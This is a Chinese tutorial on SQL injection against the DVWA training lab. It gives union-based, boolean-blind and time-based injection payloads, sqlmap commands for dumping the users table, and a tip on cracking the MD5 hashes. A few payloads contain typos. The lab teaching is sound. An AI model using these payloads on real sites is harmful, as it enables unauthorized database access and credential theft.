SQL注入

SQL注入攻击实战
SQL注入概述
所谓 SQL 注入,就是通过把 SQL 命令插入到 Web 表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的 SQL 命令。它是利用现有应用程序,将(恶意的)SQL 命令注入到后台数据库引擎执行的能力,它可以通过在 Web 表单中输入(恶意)SQL 语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行 SQL 语句。
SQL 注入一般按照注入方式可以分为普通注入和盲注。普通注入就是注入的页面是直接显示数据库中的字段内容的,我们可以通过 SQL 注入一步一步把数据库中我们想要的内容显示在页面中。而盲注则要困难很多,页面并没有直接显示数据库字段内容,显示的可能只是一个判断结果(是或者否),页面只能告诉你你构造的 SQL 语句对还是错,你要查询的内容存在还是不存在。这种情况下,我们只能全部靠猜。更有甚者,连是否的结果都不显示,我们可能还需要通过返回数据的延迟来判断是否猜对。
SQL 注入按照注入的数据类型还可以分为数字型注入和字符型注入。SQL 注入一般都需要利用 Web 站点现有的查询语句。当现有的查询语句 Where 筛选条件匹配的字段是数值类型,那么就是数字型注入;如果匹配的字段是字符类型,那么就是字符型注入。一般字符型注入需要构造单引号用于闭合语法,还需要加入注释符使原本的单引号无效。另外,SQL 注入按照提交参数方式,还可以分为 GET 方式注入、POST 方式注入等等。
Low级别SQL注入实战
1 | 常用函数: |
手工注入
I.设置安全级别为Low后,点击SQL Injection进入SQL注入练习页面。首先在文本框随便输入一个ID号,发现可以返回用户信息。同时发现URL中出现了提交的参数信息,说明该页面提交方式为GET,如图1-1
GET从服务器上获取数据;POST是向服务器传送数据
II.在文本框输入单引号,发现错误,判断存在SQL漏洞,并从报错信息中得知该站点的数据库为 MySQL如图1-2
III.在文本框输入1 and 1=1和1 and 1=2,都能返回数据,说明可能注入漏洞是字符型,如图1-3
数字型和字符型区别在于是否闭合,字符型注入需要闭合,数字型注入不需要闭合
IV.寻找注入点,在文本框输入1' and 1=1#,可以返回数据,输入1' and 1=2#,没有数据返回,说明漏洞为字符型,如图1-4。
V.在文本框输入 1' order by 1# 和 1' order by 2#,有数据返回,输入 1' order by 3#,页面报错,判断字段为2个字段,如图1-5
VI.找回显点,在文本框输入1' and 1=2 union select 1,2#,确认页面中First name处显示的是记录集中第一个字段,Surname处显示的是记录集中第二字段,如图1-6
VII.在文本框输入1' and 1=2 union select database(),2#,原第一个字段处显示当前数据库名称为dvwa,如图1-7
VIII.在文本框输入 1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#,原第二个字段处显示当前数据库中的所有表名。发现 guestbook 表和 users 表,users 表中极有可能是记录用户名和密码的表,如图1-8
1 | 注:group_concat 把查询数据放到一列中显示;where 筛选指定内容 |

IX.在文本框输入 1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#,原第二个字段处显示 users 表中的所有字段名。其中发现 user 和 password 字段,极有可能是用户名和密码字段,如图1-9
X.在文本框输入1' and 1=2 union select user,password from users#,原第一个字段和第二个字段处分别显示表中的用户名和密码,如图1-10
XI.在http://www.cmd5.com/线破解MD5加密密码,即可得到密码明文,如图1-11
SQLMap 自动化注入
I. 在kali中访问DVWA,安全级别设置为Low,进入SQL注入模块,随意输入ID值,并复制当前URL地址
II.使用SQLMAP对dvwa中的sql injection模块进行注入,获取靶机mysql中有哪些数据库。
┌──(kali㉿kali)-[~]└─$ sqlmap -u "http://192.168.23.110/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=2sr6365av3asq6o21suh8h8sj5" -batch --dbs
II. 获取dvwa数据库有哪些表
┌──(kali㉿kali)-[~]└─$ sqlmap -u "http://192.168.23.110/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=2sr6365av3asq6o21suh8h8sj5" –batch -D dvwa –tables
III. 获取dvwa数据库users表中有哪些字段
┌──(kali㉿kali)-[~]└─$ sqlmap -u "http://192.168.23.110/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=2sr6365av3asq6o21suh8h8sj5" –batch -D dvwa –T users --columns
IV. 查询users表中user和password两个字段的数据。
┌──(kali㉿kali)-[~]└─$ sqlmap -u "http://192.168.23.110/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=2sr6365av3asq6o21suh8h8sj5" –batch -D dvwa –T users --C "user,password" --dump
SQL 盲注攻击实战
SQL盲注的分类
SQL 注入可以分为普通注入和盲注。当注入的页面无法直接显示数据内容,就只能靠盲注来猜解。盲注又可以具体分为布尔型盲注和延时型盲注。
布尔型盲注是指注入页面中没有直接显示数据内容,但会显示输出的结果对还是错,查询的数据有还是没有。比如输入的 ID 值查询到有该记录,就在页面上显示该记录存在;如果输入的 ID 值不存在,页面上就显示记录不存在,除此之外没有任何更多的信息,我们通过注入构造的任何 SQL 语句也只能返回存在或者不存在两种结果。通过返回结果的对或错来判断构造的 SQL 语句是否成立,这种盲注方式就是布尔型盲注。
对于某些 SQL 注入页面,可能页面中任何信息都不返回,甚至连记录是否存在都不告诉你,这时布尔型盲注也就无效了。但是基于 sleep() 函数可以实现延时查询,我们可以构造一个判断语法,如果返回结果为真,则延时 5 秒再进行查询操作。那么我们就可以通过观察提交 SQL 注入语句后,页面响应是否有延时卡顿,来判断我们构造的 SQL 语句是否成立。这种盲注方式就称为延时型盲注。
1 | 常用函数: |
Low 级别 SQL 盲注攻击实战
布尔型盲注
One.设置安全级别为 Low,点击 SQL Injection (Blind) 按钮进入 SQL 盲注攻击模块,随便输入 ID 值,发现只返回一个结果 User ID exists in the database,告诉我们该 ID 存在,没有显示关于该 User 的任何信息。说明该页面只能通过盲注来攻击。
Two.文本框中输入 1 and 1=1 和 1 and 1=2 都返回结果 exists,说明不是数字型注入点。
Three.在文本框中输入 1' and 1=1#,返回结果 exists,输入 1' and 1=2#,返回结果 MISSING,说明存在 SQL 注入漏洞,为字符型。
Four.在文本框中输入 1' and length(database())=1#,返回结果 MISSING,说明当前数据库名长度大于 1 个字符。
注:length(database()) //当前数据库名的长度
Five.逐个猜测数据库名字长度,直到输入 1' and length(database())=4# 时,返回结果 exists,说明当前数据库名长度为 4 字符。
Six.在文本框中输入 1' and ascii(substr(database(),1,1))>97#,返回结果 exists,输入 1' and acsii(substr(database(),1,1))<122#,返回结果 exists,说明数据库名的第一位字符是小写字母。(小写字母 a 的 ASCII 码为 97,小写字母 z 的 ASCII 码为 122)。过程略
注:substr(database(),1,1) //截取数据库名称,从第一个字符开始截,一共截取1个字符
注:ascii() //取括号中的字符的 ASCII 码
Seven.
方法1:通过增加数字 97 来逐步缩小范围,直到输入 1' and ascii(substr(database(),1,1))>100#,返回结果 MISSING,说明数据库名的第一个字符的 ASCII 码正好是 100,也就是小写字母 d。
方法2:输入1' and substr(database(),1,1)='d'#或1' and ord(substr(database(),1,1))=100#判断当前数据库是第一个字母是不是d。
过程略
Eight.
方法1:在文本框中输入 1' and ascii(substr(database(),2,1))<119#,返回结果 exists,输入 1' and ascii(substr(database(),2,1))<118#,返回结果 MISSING,说明第二位字符是小写字母 v。
方法2.输入1'and substr(database(),2,1)='v'#或1'and ord(substr(database(),2,1))=118#
使用相同的方法,最终可以猜测出数据库名为 dvwa
过程略
Nine.在文本框中输入 1' and (select count(table_name) from information_schema.tables where table_schema=database())=1#,返回结果 MISSING,输入 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2#,返回结果 exists,说明当前数据库中存在 2 张表。
过程略
Ten.在文本框中输入 1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=1#,返回结果 MISSING,逐步增大猜测数字,直到猜测数字 9,返回结果 exists。最后得知数据库中第一张表名长度为 9 字符。过程略
注:select table_name from information_schema.tables where table_schema=database() limit 0,1
//查询当前数据库中的表名,只取第 0 和第 1 条记录之间的记录,也就是查询出的第一张表名
Eleven.在文本框中输入 1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,2))=1#,返回结果 MISSING,逐步增大猜测数字,直到猜测数字 5,返回结果 exists。最后得知数据库中第二张表名长度为 5 字符。过程略
注:select table_name from information_schema.tables where table_schema=database() limit 1,2
//查询当前数据库中的表名,只取第 1 和第 2 条之间的记录,也就是查询出的第二张表名
Twelve.在文本框中输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#,返回结果 exists,输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122#,返回结果 exists,说明第一张表名的第一位字符为小写字母 (原理同Six)。过程略
Thirteen.
方法1:逐步缩小范围,最终可确认第一张表名的第一位字符为字母 g。输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>97#,猜解第一张表名的第二位字符。
方法2:1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1)='u'# //判断当前数据库的第一个表的第二个字母是不是’u’。
过程略
Fourteen.
方法1:输入 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1,1))>97#,猜解第二张表名的第一位字符。重复上述步骤最终可猜解出两个表名分别为 guestbook 和 users。
方法2:1' and substr((select table_name from information_schema.tables where table_schema=database() limit 1,2),1,1)='u'# //判断当前数据库的第二个表的第一个字母是不是’u’。
过程略
Fifteen.输入 1 and (select count(column_name) from information_schema.columns where table_name='users')=1 #,来猜解 users 表中的字段数量,通过不断加大猜解数字来缩小范围,最终确定字段数量。
过程略
Sixteen.输入 1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=1 #,猜解 users 表中第一个字段名的长度。
过程略
Seventeen.输入 1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1)1,1))<97#,猜解表中第一个字段名的第一位字符内容,原理同上。
过程略
Eighteen.最终猜解出存在 user 和 password 字段,原理同上。
过程略
Nineteen.输入 1' and ascii(substr((select user from users limit 0,1),1,1))<97#,来猜解第一个用户的用户名的第一位字符内容。最终可以猜解出所有用户的用户名和密码密文,原理同上。
过程略
延时型盲注
one .在文本框输入 1' and sleep(5)#,页面响应有明显延时,输入 1 and sleep(5),页面响应迅速,说明该注入点为字符型。
Two .在文本框输入 1' and if(length(database())=1,sleep(5),1)#,页面没有延时,说明 length(database())=1 结果为假,当前数据库名长度不为 1;逐步增加猜测数字,直到输入 1' and if(length(database())=4,sleep(5),1)#,页面延时,说明当前数据库名长度为 4。
Three .在文本框输入 1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)#,页面延时;输入 1' and if(ascii(substr(database(),1,1))<9122,sleep(5),1)#,页面没有延时,说明当前数据库名第一个字符为小写字母,原理同布尔型盲注。逐渐缩小猜解范围,页面有延时说明猜解正确,页面无延时说明猜解错误,最终可猜解出数据库名第一个字符内容为 d。
判断当前数据库长度:1' and not if((select length(database())=4),sleep(5),0)#
Four .后续步骤思路与布尔型盲注一致,只需要按照语法把要猜解的条件代入,再根据页面响应是否出现延时来判断构造的 SQL 注入语句是否成立,就可以逐步猜解出需要查询的数据库信息。过程略
语法:1’ and if (要猜解的条件,sleep(5),1)#
//判断,如果要猜解的条件成立,则返回 sleep(5),延时 5 秒;不成立则返回数字 1
【转载文章】
【1】邓大佬-|在线文档库




















